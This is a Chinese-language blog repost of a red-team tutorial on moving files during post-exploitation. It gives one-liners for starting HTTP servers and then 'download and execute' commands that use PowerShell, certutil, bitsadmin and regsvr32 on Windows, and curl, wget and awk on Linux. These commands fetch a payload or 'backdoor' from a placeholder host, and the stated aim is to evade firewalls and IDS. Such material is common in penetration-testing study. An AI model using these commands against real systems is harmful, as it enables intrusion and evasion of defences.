最新消息:图 床

紅隊后滲透測試中的文件傳輸技巧

COOL IAM 231浏览 0评论

作者:xax007@知道創宇404 ScanV安全服務團隊
作者博客:https://xax007.github.io/

在紅隊滲透測試當中往往需要最大化利用當前的環境繞過重兵防守的系統的防火牆、IDS、IPS等報警和監控系統進行文件傳輸,本文列出了多種利用操作系統默認自帶的工具進行文件傳輸的方法。

搭建 HTTP server

Python

python2:

python -m SimpleHTTPServer 1337

以上命令會在當前目錄啟動 HTTP 服務,端口為 1337

python3:

python -m http.server 1337

以上命令會在當前目錄啟動 HTTP 服務,端口為 1337

PHP 5.4+

當 PHP 版本大於 5.4 是,可使用 PHP 在當前目錄啟動 HTTP 服務,端口為 1337

php -S 0.0.0.0:1337

Ruby

下面的命令會在當前目錄下啟動 HTTP 服務,端口為 1337

ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'

Ruby 1.9.2+

ruby -run -e httpd . -p 1337

Perl

perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET //(.*) / })'

Thanks to: http://stackoverflow.com/questions/8058793/single-line-python-webserver

busybox httpd

busybox httpd -f -p 8000

本條來自:lvm

Download files from HTTP server

以下列出了在 Windows 和 Linux 系統下使用系統自帶工具從 HTTP Server 下載文件的幾種方法

Windows

powershell

下載並執行:

powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:/download/a.exe');start-process 'c:/download/a.exe'

certutil

下載並執行:

certutil -urlcache -split -f http://1.2.3.4/5.exe c:/download/a.exe&&c:/download/a.exe

bitsadmin

下載並執行:

bitsadmin /transfer n http://1.2.3.4/5.exe c:/download/a.exe && c:/download/a.exe

bitsadmin 的下載速度比較慢

regsvr32

regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll

Linux

Curl

curl http://1.2.3.4/backdoor

Wget

wget http://1.2.3.4/backdoor

awk

在使用 awk 進行下載文件時,首先使用以上列出的任意一條命令啟動一個 HTTP Server

awk 'BEGIN {
  RS = ORS = "/r/n"
  HTTPCon = "/inet/tcp/0/127.0.0.1/1337"
  print "GET /secret.txt HTTP/1.1/r/nConnection: close/r/n"    |& HTTPCon
  while (HTTPCon |& getline > 0)
      print $0
  close(HTTPCon)
}'

效果:

转载请注明:IAMCOOL » 紅隊后滲透測試中的文件傳輸技巧

0 0 vote
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x